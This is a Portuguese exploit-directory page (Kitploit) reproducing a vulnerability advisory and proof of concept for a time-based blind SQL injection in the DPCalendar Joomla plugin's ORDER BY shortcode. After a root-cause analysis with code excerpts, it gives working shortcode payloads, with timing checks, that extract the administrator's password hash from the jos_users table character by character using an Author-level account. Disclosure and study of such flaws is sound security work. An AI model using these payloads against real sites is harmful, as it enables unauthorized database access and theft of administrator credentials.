Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-78070 — SQL Injection via ORDER BY Shortcode no plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2 | Kitploit
Ferramentas/GitHubGitHub/toanln-cov/cve-2026-78070
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoSegurança de Banco de Dados
GitHubtoanln-cov/cve-2026-78070

CVE-2026-78070

SQL Injection via ORDER BY Shortcode no plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2

Ver Repositório
32há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Injeção de SQL via Shortcode ORDER BY no plg_content_dpcalendar

DPCalendar Free ≤ 10.11.2 — Usuário de nível Autor Extrai o Banco de Dados Inteiro via Injeção Cega Baseada em Tempo

CVE CVSS CWE-89 Affected Fixed Researcher


SUMÁRIO

O plugin de conteúdo plg_content_dpcalendar processa shortcodes {{#events order="..."}}{{/events}} incorporados no corpo de artigos do Joomla. O valor do parâmetro order é passado diretamente para EventsModel::setState('list.ordering', ...), ignorando completamente a lista de permissões do próprio populateState() do modelo. O valor é então inserido em uma cláusula SQL ORDER BY protegida apenas por DatabaseDriver::escape() — insuficiente contra injeção por subconsulta.

Um usuário de nível Autor que possa criar ou editar artigos pode explorar isso para exfiltrar dados do banco de dados via injeção cega de SQL baseada em tempo. O SQLi é disparado dentro da própria requisição de salvamento de artigo do atacante — sem interação da vítima, sem artigo publicado e sem envolvimento de administrador.


VERSÕES AFETADAS

COMPONENTEVULNERÁVELTESTADO EMCORRIGIDO
DPCalendar Free1.0.0 – 10.11.2Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27)10.12.0

Nota: Esta vulnerabilidade é distinta da CVE-2026-57831 (SQLi não autenticado em EventsModel.php via filter_created_by, corrigida na v10.11.2). A presente descoberta afeta o plugin de conteúdo (plg_content_dpcalendar) — um arquivo diferente, um parâmetro diferente, e não foi corrigida na versão mais recente no momento da descoberta.


DETALHES DA VULNERABILIDADE

Tipo: Injeção de SQL (CWE-89) — Cega Baseada em Tempo
Autenticação necessária: Papel de Autor (pode criar/editar artigos no Joomla)
Endpoint: POST /index.php/submit-article?view=form&layout=edit
Arquivo: plg_content_dpcalendar/src/Extension/DPCalendar.php

Causa Raiz

O parser de shortcodes do plugin itera sobre todos os parâmetros chave-valor em uma tag {{#events}} e define o estado do modelo diretamente, ignorando completamente a validação da lista de permissões do populateState():

PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — TRATAMENTO VULNERÁVEL DE PARÂMETROS

foreach ($params as $paramKey => $paramValue) {
    switch ($paramKey) {
        case 'order':
            // VULNERÁVEL: define o estado de ordenação diretamente da entrada do usuário
            // ignora completamente a lista de permissões do populateState()
            $model->setState('list.ordering', $paramValue);
            break;
        case 'orderdir':
            $model->setState('list.direction', $paramValue);
            break;
        // ...
    }
}

O valor contaminado flui para EventsModel::getListQuery() com apenas escape de aspas aplicado — insuficiente para bloquear injeção por subconsulta em um contexto ORDER BY:

COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — CONSTRUÇÃO DO ORDER BY

$orderCol  = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');

// $db->escape() escapa apenas aspas — NÃO impede injeção por subconsulta
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

Uma subconsulta como (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) passa por $db->escape() sem modificações porque não contém caracteres de aspas. O SQL resultante torna-se:

ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- 

A expressão ORDER BY só é avaliada quando o conjunto de resultados não está vazio — exigindo pelo menos um evento DPCalendar futuro publicado, a condição padrão para qualquer instalação ativa do DPCalendar.

Comportamento-chave: O SQLi é disparado dentro da própria requisição POST de salvar/editar — o atraso de tempo é observável diretamente na resposta HTTP (redirect 303). O atacante mede o tempo de resposta do próprio POST; nenhuma visualização de artigo, recarregamento de página ou etapa de publicação é necessária.


PROVA DE CONCEITO

Pré-requisitos:

  • Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
  • Conta com papel de Autor (pode criar/editar artigos)
  • Plugin plg_content_dpcalendar habilitado (padrão na instalação do DPCalendar)
  • Pelo menos 1 evento DPCalendar publicado com start_date futura
  • Um item de menu Enviar Artigo no frontend criado pelo administrador

Cenário: SQLi Cego Baseado em Tempo → Extração de Credenciais de Administrador

0. Pré-condição — pelo menos um evento DPCalendar publicado com data de início futura deve existir

O plugin define filter.state = 1 e list.start-date = NOW() antes de construir a consulta. Subconsultas ORDER BY só são executadas quando o conjunto de resultados contém linhas; se 0 linhas corresponderem, SLEEP() nunca é chamado.

1. Fazer login como usuário com papel de Autor

Autentique-se no frontend do Joomla usando uma conta de Autor. Nenhum acesso de administrador é necessário em nenhum ponto deste ataque.

2. Enviar artigo com payload de condição VERDADEIRA — observar atraso de 5 segundos

Navegue até o formulário de envio de artigo no frontend (/submit-article). Insira o seguinte payload no corpo do artigo e clique em Salvar:

{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}

A própria resposta POST é atrasada em ~5 segundos. onContentPrepare é disparado durante o pipeline de salvamento do Joomla, invocando a consulta vulnerável antes do redirect 303 ser emitido. Nenhuma visualização de artigo ou publicação é necessária.

3. Condição FALSA confirma diferenciação de tempo limpa

Substitua 1=1 por 1=2 (sempre falso). SLEEP não é acionado e a resposta retorna imediatamente (~100ms), confirmando uma separação de tempo confiável.

{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

4. Extrair hash da senha do administrador — byte a byte

Use comparações ASCII(SUBSTRING(...)) para ler cada caractere. Aspas simples devem ser evitadas (a regex do shortcode [^"\']* para em qualquer caractere de aspas); use valores ASCII decimais:

{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}

Tempo de resposta ~5s → VERDADEIRO → char[1] = '$' (ASCII 36 — primeiro caractere de um hash bcrypt $2y$10$...).

Baixar ferramenta